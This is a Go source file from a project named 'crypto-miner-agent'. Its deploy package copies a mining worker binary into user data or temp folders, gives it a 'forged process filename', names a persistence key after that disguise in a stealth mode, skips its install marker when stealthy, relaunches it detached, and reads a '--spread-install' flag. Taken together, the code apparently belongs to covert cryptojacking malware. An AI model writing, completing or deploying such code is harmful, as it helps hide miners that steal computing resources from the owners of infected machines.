package deploy import ( "fmt" "io" "os" "os/exec" "path/filepath" "runtime" "strings" "crypto-miner-agent/config" ) const ( runFlag = "--run" spreadFlag = "--spread-install" backupSuffix = ".bak" ) // BinaryExt returns the executable suffix for the current OS. func BinaryExt() string { if runtime.GOOS == "windows" { return ".exe" } return "" } // BinaryName returns the forged process filename on disk. func BinaryName(cfg config.RuntimeConfig) string { return cfg.EffectiveProcessName() + BinaryExt() } // InstalledBinaryPath is the full path to the installed worker binary. func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) { dir, err := cfg.InstallDirectory() if err != nil { return "", err } return filepath.Join(dir, BinaryName(cfg)), nil } func PersistenceKeyName(cfg config.RuntimeConfig) string { if cfg.StealthMode { return cfg.EffectiveProcessName() } name := sanitizeName(cfg.WorkerName) if name == "" { return cfg.EffectiveProcessName() } return "CryptoMiner-" + name } func sanitizeName(name string) string { replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "") return replacer.Replace(strings.TrimSpace(name)) } func samePath(a, b string) bool { a = filepath.Clean(a) b = filepath.Clean(b) if runtime.GOOS == "windows" { if strings.EqualFold(a, b) { return true } } else if a == b { return true } aAbs, errA := filepath.Abs(a) bAbs, errB := filepath.Abs(b) if errA != nil || errB != nil { return false } if runtime.GOOS == "windows" { return strings.EqualFold(aAbs, bAbs) } return aAbs == bAbs } func copyFile(src, dest string) error { in, err := os.Open(src) if err != nil { return err } defer in.Close() out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) return err } func relaunch(exePath, logPath string) error { cmd := exec.Command(exePath, runFlag) cmd.Dir = filepath.Dir(exePath) if logPath != "" { cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) } applyDetachedStart(cmd) return cmd.Start() } func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) { dir, err := cfg.InstallDirectory() if err == nil { return dir, nil } fallbacks := installBaseFallbacks(cfg) seen := map[string]bool{strings.ToLower(cfg.InstallBase): true} for _, base := range fallbacks { if seen[base] { continue } seen[base] = true try := cfg try.InstallBase = base dir, tryErr := try.InstallDirectory() if tryErr == nil { return dir, nil } } return "", err } func installBaseFallbacks(cfg config.RuntimeConfig) []string { switch runtime.GOOS { case "windows": return []string{"localappdata", "appdata", "temp"} case "darwin": return []string{"home", "xdg_data_home", "tmp"} default: return []string{"xdg_data_home", "home", "tmp"} } } func InstallDir(workerName, buildID string) (string, error) { base := "localappdata" if runtime.GOOS != "windows" { base = "xdg_data_home" } return config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ WorkerName: workerName, BuildID: buildID, InstallBase: base, InstallRelativePath: config.DefaultInstallRelativePath, }, }.InstallDirectory() } func saveBackup(installedBin string) error { backup := installedBin + backupSuffix if _, err := os.Stat(backup); err == nil { return nil } return copyFile(installedBin, backup) } // WantsSpreadInstall reports --spread-install CLI flag. func WantsSpreadInstall() bool { return wantsSpreadInstall() } func wantsSpreadInstall() bool { for _, arg := range os.Args[1:] { if arg == spreadFlag { return true } } return false } func isRunMode() bool { for _, arg := range os.Args[1:] { if arg == runFlag { return true } } return false } func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) { if cfg.StealthMode { return } _ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf( "worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n", cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin, )), 0644) }